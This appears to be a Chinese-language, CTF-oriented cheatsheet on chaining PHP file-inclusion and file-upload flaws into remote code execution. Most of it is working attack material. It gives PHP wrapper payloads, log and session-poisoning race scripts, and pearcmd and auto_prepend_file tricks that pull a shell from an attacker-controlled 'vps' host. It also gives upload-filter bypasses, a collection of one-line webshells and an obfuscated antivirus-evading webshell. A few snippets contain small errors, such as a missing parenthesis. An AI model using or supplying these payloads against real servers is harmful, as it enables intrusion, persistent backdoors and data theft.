前言

文件包含和文件上传是 Web 安全中最常见的两类漏洞,单独利用往往存在限制,但两者结合可以打出一套完整的 RCE 链。本文整理了两类漏洞的常见利用手法和绕过技巧,偏向实战向的 cheatsheet。


一、文件包含(LFI / RFI)

1.1 前置知识

PHP 中能触发文件包含的函数:

  • include() / include_once() — 包含失败只发 warning,继续执行
  • require() / require_once() — 包含失败发 fatal error,停止执行
  • 以及各种封装了 include 的链:include($c) 配合伪协议或日志即可 getshell

影响利用的关键 php.ini 配置:

配置项 作用 利用影响
allow_url_fopen 是否允许打开远程文件(HTTP/FTP) RFI 需要开启
allow_url_include 是否允许 include 远程文件 RFI 需要开启;data:// 协议也需要开启此项
open_basedir 限制 PHP 能访问的目录范围 限制了 LFI 的可读范围
register_argc_argv 是否将 CLI 参数注册到 $_SERVER['argv'] pearcmd 利用需要开启

1.2 常见伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// === data:// — 直接传入 PHP 代码执行 ===
?file=data://text/plain,<?php system('tac flag.php');?>
?file=data://text/plain;base64,PD9waHAKc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTsKPz4=

// === php://filter — 读源码 / 写马 ===
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/write=convert.base64-decode/resource=shell.php
?file=php://filter/write=string.rot13/resource=sh.php
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

// === php://input — POST 传 PHP 代码直接执行 ===
?file=php://input
// POST body: <?php system('tac flag.php');?>

// === compress.zlib:// — 压缩协议读文件 ===
?file=compress.zlib://flag.php

// === phar:// — 读取压缩包中的文件 ===
// 先将 shell 文件打包成 zip 或 phar,后缀需与打包时一致
?file=phar://phar.phar/shell.txt

// === zip:// — 直接读取 zip 中的 php 文件 ===
?file=zip://upload/test.jpg%23shell.php // #需编码为%23

// === expect:// — 直接执行系统命令(需安装 expect 扩展)===
?file=expect://whoami

// === ssh2.exec:// — SSH 远程执行(需 ssh2 扩展)===
?file=ssh2.exec://ctfer:password@127.0.0.1:22/id+>+/var/www/html/1.txt

// === filter 链绕过关键字过滤 ===
?file=php://filter/convert.iconv.utf-8.utf-16|ctfshow/resource=flag.php

总结: include() 括号里的内容可以是:① 协议流 ② PHP 代码(通过 data 等) ③ 文件路径。

注意: data:// 协议在 allow_url_include=Off 时不可用;php://input 不受此限制。

1.3 日志文件包含(LFI → RCE 经典链)

当存在 LFI 但没法直接伪协议 getshell 时,通过包含服务器日志来执行 PHP 代码。

Apache 日志:

1
默认路径:/var/log/apache2/access.log 或 /var/log/httpd/access_log

Nginx 日志:

1
默认路径:/var/log/nginx/access.log

利用方式:在 HTTP 请求中(如 User-Agent 或 URL)夹带 <?php system('id');?>,再包含该日志文件即可执行代码。

其他可包含的日志 / 文件:

文件路径 说明
/var/log/apache2/access.log Apache 访问日志
/var/log/apache2/error.log Apache 错误日志
/var/log/nginx/access.log Nginx 访问日志
/var/log/nginx/error.log Nginx 错误日志
/proc/self/environ 当前进程环境变量(User-Agent 写入)
/proc/self/fd/N 文件描述符(N 为数字,逐个爆破)
~/.bash_history 用户命令历史
/var/log/mail.log 邮件日志
/var/log/vsftpd.log FTP 日志

1.4 条件竞争 — Session 文件包含

利用 PHP_SESSION_UPLOAD_PROGRESS 特性,在上传过程中临时文件里会写入 session 数据,通过多线程竞争在临时文件被删除前包含它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import threading

url = "http://target.com/?page=/tmp/sess_hacker"

def write_session():
while True:
data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'}
# 这个字段名不可改,否则 POST 的数据不会写入临时文件
files = {'file': ('a', 'b' * 5000)}
cookies = {'PHPSESSID': 'hacker'}
requests.post(url, data=data, files=files, cookies=cookies)

def read_session():
while True:
r = requests.get(url)
if "flag{" in r.text or "hhh" not in r.text:
print(r.text)
break

# 多线程对撞
for i in range(10):
threading.Thread(target=write_session).start()
for i in range(10):
threading.Thread(target=read_session).start()

要点:

  • 必须设置 PHPSESSID=lyz 并包含 /tmp/sess_lyz
  • PHP_SESSION_UPLOAD_PROGRESS 字段名不可改动
  • 传一个大文件以延长临时文件存活时间

1.5 Pear 文件包含

利用条件:

  1. 安装了 pear 扩展
  2. 知道 pearcmd.php 路径(默认 /usr/local/lib/php/pearcmd.php,其他可能路径:/usr/share/php/pearcmd.php
  3. 开启了 register_argc_argv$_SERVER['argv'] 才会生效)
  4. 有包含点,能包含 php 后缀文件,没有 open_basedir 限制

Payload:

1
2
3
4
5
6
7
8
9
10
11
# 方式一:远程下载 shell 到目标目录
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/var/www/html/+http://vps/shell.php
# 等同于:pear install -R /var/www/html/ http://vps/shell.php
# 注意:pearcmd.php 后面的第一个参数名随意

# 方式二:通过配置写入 shell
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/lyz.php+-d+man-dir=<?php eval($_POST[1]);?>+-s
# 等同于:pear -c /tmp/lyz.php -d "man-dir=<?php eval(\$_POST[1]);?>" -s

# 方式三:config-create 写文件
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=`$_POST[1]`;?>+/var/www/html/1.php

1.6 Filter Chain — LFI 直接 RCE

PHP filter chain 可以把任意内容”编织”到输出中,实现无需上传文件、无需日志包含的纯 LFI → RCE。原理是利用 iconv 字符集转换的编码特性,将多个 filter 串联生成目标 payload。

常用 filter 及作用:

Filter 功能
string.rot13 ROT13 编码
string.toupper 转大写
string.tolower 转小写
string.strip_tags 去除 PHP/HTML 标记
convert.base64-encode Base64 编码
convert.base64-decode Base64 解码
convert.iconv.UCS-2LE.UCS-2BE 字符集转换(常用于格式调整)
zlib.deflate 压缩
zlib.inflate 解压
convert.quoted-printable-encode =0A 编码

构造 payload 示例:

1
2
3
4
5
# 基础读文件
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php

# 绕过关键词过滤(自定义链)
?file=php://filter/convert.iconv.utf-8.utf-16|ctfshow/resource=flag.php

可用字符集(iconv 支持的编码):

1
2
3
UCS-4  UCS-4BE  UCS-4LE  UCS-2  UCS-2BE  UCS-2LE
UTF-32 UTF-32BE UTF-32LE UTF-16 UTF-16BE UTF-16LE
UTF-7 UTF7-IMAP UTF-8 ASCII

更长的 filter chain 可利用 synacktiv/php_filter_chain_generator 脚本自动生成。

1.7 可能出现的文件泄露

文件 / 场景 说明
.index.php.swp Vim 异常退出产生的交换文件
index.php~ 编辑器备份文件
index.php.bak 手动备份
.DS_Store macOS 目录信息泄露
robots.txt 爬虫规则,有时泄露敏感路径
.git/HEAD Git 仓库泄露
composer.json 依赖信息
phpinfo.php PHP 信息泄露

二、文件上传

2.1 后缀名绕过

黑名单绕过 — 尝试冷门可执行后缀:

1
2
3
.php .php3 .php4 .php5 .php7 .php8
.phtml .pht .phar .phps
.inc .shtml .asa .cer .cdx

Windows 特性绕过:

1
2
3
4
5
1.php.        → Windows 自动去除尾部点
1.php_ → 某些情况下 _
1.php::$DATA → NTFS 流
1.php空格 → Windows 自动去除尾部空格
1.php.空格 → 组合技

双后缀绕过:

1
2
1.php.jpg
1.php%00.jpg (%00 截断,仅 PHP < 5.3.4 且 magic_quotes_gpc=Off)

大小写绕过:

1
2
1.Php
1.pHp

2.2 MIME 类型绕过

常见 MIME 类型对照:

文件类型 Content-Type
GIF image/gif
JPEG image/jpeg
PNG image/png
HTML text/html
纯文本 text/plain
JS text/javascript
PDF application/pdf
二进制 application/octet-stream

BurpSuite 改 Content-Type 即可绕过简单的前端 / 后端 MIME 校验。

2.3 .htaccess 与 .user.ini

.htaccess(Apache)— 将特定后缀解析为 PHP:

1
2
3
4
5
6
7
# 方式一:精准匹配
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

# 方式二:添加类型映射
AddType application/x-httpd-php .jpeg .png .txt

.htaccess 中的注释符:\x00#

.user.ini(Nginx / Apache + PHP-FPM / FastCGI):

1
auto_prepend_file=shell.png

效果:该目录下所有 PHP 页面执行前会先包含 shell.png

进阶:

1
auto_prepend_file=php://input

然后访问任意 PHP 页面,POST 传 shell 即可执行。

远程包含:

1
auto_prepend_file=http://vps/shell.txt

2.4 图片马与函数绕过

(1)图片写马
在图片数据中嵌入 <?php @eval($_POST['cmd']);?>。直接用 copy 命令或十六进制编辑器操作。

(2)二次渲染绕过
部分 CMS(如 Drupal、WordPress 部分插件)会对上传图片做二次渲染(resize/compress),会将嵌入的 PHP 代码清除。需要用脚本分析渲染后仍保留的字节区域,把 shell 写入那些区域。

(3)图片伪造 — getimagesize / exif_imagetype 绕过

XBM 图片:

1
2
3
#define width 1337
#define height 1337
auto_prepend=1.php

WBMP 图片(文件头):

1
\x00\x00\x85\x85
  • \x00\x00\x85\x85 只能放在文件开头
  • #define width 1337 #define height 1337 可以放在文件任意位置

可用于 .htaccess 上传时绕过 getimagesize()exif_imagetype() 校验。

(4)文件头绕过(Magic Bytes):

文件类型 十六进制文件头
GIF 47 49 46 38 39 61 (GIF89a)
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
BMP 42 4D

在文件头部加上这些字节即可绕过文件头校验。

2.5 内容检测绕过

(1)PHP 短标签:

1
2
<?=eval($_POST[1]);?>
<? eval($_POST[1]);?> // 需 short_open_tag=On

(2)大括号绕过方括号:

1
<?=eval($_POST{1});?>

(3)拼接绕过:

1
2
<?=include '/var/l'.'og/nginx/access.l'.'og'?>
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

(4)异或拼接:

1
<?=$a="]"?> <?=$d="s"?> <?=$b=$d^$a?> <?=$g="l"?> <?=$o="o"?> <?=$c="g"?> <?=include"/var/$g$o$c/nginx/access$b$g$o$c"?>

(5)变量拼接 shell:

1
2
3
4
5
6
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_REQUEST['cmd']);
?>

(6)十六进制 / HTTP 头马:

1
2
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>
<?=eval(next(getallheaders()))?>

(7)Script 标签马:

1
<script language="php">@eval($_POST['cmd']);</script>

(8)免杀马(密码 TyKPuntU):

1
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

(9)非典型马(无 $ 符号执行):
访问 /upload/1.php?1=system&2=ls 即可执行命令。

2.6 上传竞争条件(TOCTOU)

部分网站先将文件上传到临时目录,校验通过后再移动到目标目录。攻击思路:在校验和移动之间的时间窗口内,通过多线程不断访问上传的文件,抢在删除 / 重命名前执行。

2.7 SVG 文件攻击

SVG 本质是 XML,可以嵌入 JavaScript / PHP:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script type="text/javascript">alert('XSS')</script>
</svg>

如果目标支持 SVG 上传且未做严格过滤,可能造成 XSS 或 SSRF(通过 <foreignObject> 等)。


三、一句话木马变形

3.1 PHP5 专用(依赖已废弃特性)

1
2
3
<?php $st=@create_function('',$_GET['a']);$st();?>
<?php @preg_replace('/.*/e',$_GET['a'],'');?>
<?php @preg_filter('/.*/e',$_GET['a'],'');?>

/e 修饰符在 PHP5 中会将替换结果作为 PHP 代码执行,PHP7+ 已移除。

3.2 PHP7 通用

1
2
<?php @mbereg_replace('.*',$_GET['a'],'','ee');?>
<?php @mberegi_replace('.*',$_GET['a'],'','ee');?>

ee 模式同样执行替换结果。

3.3 通杀型 — 回调函数 shell

1
2
3
4
5
6
7
8
9
10
11
12
<?php $st=$_GET['a']('',$_GET['b']);$st();?>
<?php $arr=array($_GET['b']);@array_walk($arr,$_GET['a']);?>
<?php @call_user_func($_GET['a'],$_GET['b']);?>
<?php @call_user_func_array($_GET['a'],array($_GET['b']));?>
<?php @array_filter(array($_GET['b']),$_GET['a']);?>
<?php @array_map($_GET['a'],array($_GET['b']));?>
<?php @array_walk_recursive($arr,$_GET['a']);?>
<?php @array_udiff(array($_GET['b']),array(1),$_GET['a']);?>
<?php @register_shutdown_function($_GET['a'],$_GET['b']);?>
<?php @filter_var($_GET['b'],FILTER_CALLBACK,array('options'=>$_GET['a']));?>
<?php @ob_start($_GET['a']);echo $_GET['b'];ob_end_flush();?> // assert 无回显
<?php @register_tick_function($_GET['a'],$_GET['b']);declare(ticks=1);?>

使用时传 ?a=system&b=ls

3.4 编码型

取反运算(绕过关键字):

1
2
3
4
5
<?php
$func = create_function('', ~"\x8f\x97\x8f\x96\x91\x99\x93");
$func();
?>
// 等价于 @assert($_POST['cmd']);

ASCII 拼接:

1
2
3
4
5
6
7
8
9
10
<?php
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109; // system
$cmd = '';
$cmd_chars = [108, 115]; // ls
foreach($cmd_chars as $ascii) {
$cmd .= chr($ascii);
}
@$func($cmd);
?>
// @system("ls");

四、服务器解析漏洞

4.1 IIS

目录解析(IIS 5.x / 6.0):
创建名为 *.asp / *.asa / *.cer / *.cdx 的文件夹后,该文件夹下任意扩展名的文件都会被当作 ASP 执行。例如 /test.asp/1.jpg 会以 ASP 执行。

文件解析(IIS 5.x / 6.0):
分号 ; 及之后的内容不被解析:a.asp;.jpg 被当成 a.asp 执行。IIS 6.0 默认可执行文件还包含 .asa.cer

IIS 7.0 / 7.5(FastCGI):
类似 Nginx 的路径回溯解析。当 /1.jpg/2.txt/3.php 不存在时,去掉最后的 /3.php 判断 /1.jpg/2.txt,依此类推。

4.2 Nginx

路径回溯解析:
上传 123.txt 后访问 123.txt/123.php,由于 123.php 不存在,Nginx 回溯到 123.txt 并用 PHP 解析其内容。

CGI 参数注入(CVE-2012-1823 / CVE-2019-11043 等):
解析 PATH_INFO 时的不当处理可能导致参数注入。

4.3 Windows 特性

1
2
3
4
1.php.
1.php空格
1.php.空格
1.php::$DATA

这些在 Windows 下会自动修正为 .php,但在 Linux 下无效。因此 Windows + IIS 的组合下可以绕过黑名单后缀检测。


总结

文件包含和文件上传很少孤立出现,实际渗透中常见的组合链:

  1. 上传 + 包含:上传图片马 / user.ini → LFI 包含执行
  2. 日志注入 + 包含:HTTP header 中写入 PHP 代码 → include 日志文件 → RCE
  3. Session 竞争 + 包含PHP_SESSION_UPLOAD_PROGRESS 写入 session 文件 → 条件竞争包含
  4. pearcmd + 包含:register_argc_argv → pearcmd.php install/config-create 写 shell
  5. Filter Chain + 包含:纯 LFI 无上传,直接靠 filter chain 生成 RCE payload

文件包含决定了”怎么读”,文件上传决定了”怎么写”。两条路任何一条通了,RCE 就不远了。